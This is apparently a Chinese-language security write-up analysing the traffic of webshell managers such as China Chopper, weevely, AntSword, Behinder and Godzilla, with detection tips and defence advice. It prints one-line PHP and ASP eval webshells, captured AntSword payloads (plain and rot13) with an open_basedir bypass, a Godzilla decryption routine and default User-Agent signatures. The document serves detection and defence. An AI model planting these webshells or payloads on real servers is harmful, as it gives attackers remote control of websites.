常見webshell管理工具的分析記錄
0x00 前言
常見webshell管理工具的分析記錄,著重在流量側。
0x01 caidao
1、配置使用
菜刀是一款專業的網站管理軟件,用途廣泛,使用方便,小巧實用。支持動態腳本[如php/jsp/aspx/asp]的網站!常用功能:文件管理,虛擬終端,數據庫管理,自寫腳本。PHP:<?php @eval($_POST['chopper']);?>ASP:<%eval request("chopper")%>

在配置功能是定義數據庫信息,如
<T>類型</T> 類型可為MYSQL,MSSQL,ORACLE,INFOMIX中的一種<H>主機地址<H> 主機地址可為機器名或IP地址,如localhost<U>數據庫用戶</U> 連接數據庫的用戶名,如root<P>數據庫密碼</P> 連接數據庫的密碼,如123455<L>utf8</L> 這一項數據庫類型為MYSQL腳本為PHP時可選,不填則為latin1
2、流量特征



獲取到一句話的密碼后,在把變量內的數據進行base64解碼,再通過eval函數執行。
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
eval函數后帶%01的字符,這樣的寫法在高版本的php中是無法執行,但低版本中會拋出告警后執行。

3、檢測技巧
一般根據關鍵函數特征進行檢測判斷。如php的代碼執行函數和命令執行函數。
0x02 weevely
1、配置使用
weevely也叫linux下的php菜刀,是一款使用python編寫的webshell工具,集webshell生成和連接于一身,采用c/s模式構建。其具有很好的隱蔽性(生成隨機參數且base64加密)。集成服務器錯誤配置審計,后門放置,暴力破解,文件管理,資源搜索,網絡代理,命令執行,數據庫操作,系統信息收集及端口掃描等功能。




通過對最后的變量進行打印輸出,可以看到weevely生成的后門利用了base64加密方法結合字符串變形技巧,首層不會出現敏感函數只有str_replace函數,在還原到第二層的時候才看到譬如create_function、php:input、file_get_contents、eval、gzuncompress、gzcompress等函數。
2、流量特征
從流量側明顯看不到任何特征

3、檢測技巧
盡管在控制通道的流量側無法進行特征檢測,但可以在數據通道(上傳過程)的流量側進行分析。
weevely生成的后門利用了base64加密方法和字符串變形技巧,以此作為特征可進行檢測。
0x03 antSword
1、配置使用
中國蟻劍是一款開源的跨平臺網站管理工具。為不同層次的人群提供最簡單易懂、方便直接的代碼展示及其修改說明,存在豐富的插件和生態。
https://github.com/AntSwordProject/AntSword-Loader

<?php eval($_POST['ant']); ?>



2、流量特征
默認配置下的antSword,其payload不做任何處理。


測試連接數據包獲取了服務端相關信息,輸入到緩沖區再由output變量接收,通過隨機字符作為開始結束符定位變量輸出位置。
ant=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.d22dd2d652c";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "b6ac94"."d645b6";echo @asenc($output);echo "973d1"."529fb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dir
新版antSword的ua也做了隨機變換。


在內置的rot13編碼和解碼器下,數據會通過隨機變量傳遞給str_rot13函數,通過變換還原后再交給eval函數執行。


ant=@eval(@str_rot13($_POST['jac0da8b6de572']));&jac0da8b6de572=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);$bcqve=@vav_trg("bcra_onfrqve");vs($bcqve) {$bpjq=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$bcnee=cert_fcyvg("/;|:/",$bcqve);@neenl_chfu($bcnee,$bpjq,flf_trg_grzc_qve());sbernpu($bcnee nf $vgrz) {vs(!@vf_jevgnoyr($vgrz)){pbagvahr;};$gzqve=$vgrz."/.n57op";@zxqve($gzqve);vs(!@svyr_rkvfgf($gzqve)){pbagvahr;}@puqve($gzqve);@vav_frg("bcra_onfrqve", "..");$pagnee=@cert_fcyvg("/\\\\|\//",$gzqve);sbe($v=0;$v<fvmrbs($pagnee);$v++){@puqve("..");};@vav_frg("bcra_onfrqve","/");@ezqve($gzqve);oernx;};};;shapgvba nfrap($bhg){erghea fge_ebg13($bhg);};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "251q1"."3p2oq6";rpub @nfrap($bhgchg);rpub "81"."326";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();
返回的報文會交給antSword的對應解碼器進行解碼還原

在內置的base64編碼和解碼器下,數據則會通過隨機變量傳遞給base64_decode函數,通過解碼還原后再交給eval函數執行。

在RSA編碼解碼器下的配置過程



把生成的木馬放到服務器中,選擇RSA編碼器進行測試

在流量中已經看不到任何明顯的特征

3、檢測技巧
在默認配置或者內置的普通編碼器下,可以通過敏感關鍵函數特征進行檢測判斷。
在如RSA編碼器下,盡管在控制通道的流量側無法進行特征檢測,但還是可以在數據通道的流量側進行分析的。
0x04 rebeyond
1、配置使用
“冰蝎”是一款動態二進制加密網站管理工具。其支持php、jasp、asp、aspx,支持自定義請求頭。
https://github.com/rebeyond/Behinder



2、流量特征
流量側不會存在明顯的特征


對流量進行解密,在結合默認的”e45e329feb5d925b”(該密鑰為連接密碼32位md5值的前16位)下,首先進行aes解密,然后進行兩次base64解碼,才可看到執行信息



3、檢測技巧
由于做了加密傳輸,在流量側不能通過關鍵函數進行檢測。
在默認配置下,可以通過報文中的某些字段信息進行檢測


"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36""Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)""Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)""Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko""Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko""Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
在數據通道做針對冰蝎木馬的檢測外。
在執行命令的過程中冰蝎存在兩個父子關系的進程進行操作,還可以通過進程進行檢測。

0x05 Godzilla
1、配置使用
“哥斯拉”和“冰蝎”一樣,是一款流量加密的網站管理工具。哥斯拉內置了3種Payload以及6種加密器,6種支持腳本后綴,20個內置插件。
https://github.com/BeichenDream/Godzilla
生成webshell


對于加密器
1、JavaDynamicPayloadJAVA_AES_BASE64:jsp、jspxJAVA_AES_RAW:jsp、jspx 2、CShapDynamicPayloadCSHAP_AES_BASE64:aspx、asmx、ashxJAVA_AES_RAW:aspx、asmx、ashx 3、PhpDynamicPayloadPHP_XOR_BASE64:phpPHP_XOR_RAW:php XOR是將數據進行異或處理Raw是將加密后的數據直接發送或者輸出Base64是將加密后的數據再進行Base64編碼
連接webshell


2、流量特征
哥斯拉在建立webshell的連接過程中,連續發送三個http數據包

第一個數據包的響應內容為空

通過上面生成的webshell,對每個數據包進行逐一解密,把報文數據放到test內
<?phpfunction encode($D,$K){for($i=0;$i<strlen($D);$i++) { $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; }return $D;}$pass='pass';$payloadName='payload';$key='3c6e0b8a9c15224a';$data=encode(base64_decode('test'),$key);echo $data;
可以看到第一個包解密后存在一些特征代碼塊
$parameters=array();$_SES=array();function run($pms){global $ERRMSG; reDefSystemFunc(); $_SES=&getSession(); @session_start(); $sessioId=md5(session_id());if (isset($_SESS

對第二個包進行解密后的特征字符
methodName...test
(中間帶有一些特征看不見的字符)

第三個包解密后的特征字符
methodName&?/m?}%0K楬F

3、檢測技巧
除了以上的流量特征和在數據通道做針對哥斯拉的木馬的檢測外。
如果沒有自定義報文字段,默認配置下的哥斯拉,可以把報文字段作為弱特征檢測。
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-type: application/x-www-form-urlencoded
另外,哥斯拉在執行命令的過程中存在三個組合的父子進程,也可以類似冰蝎一樣檢測惡意進程。

0x06 綜合防御
1、收斂網站權限
2、在數據通道、控制通道和流量側部署相關企業級產品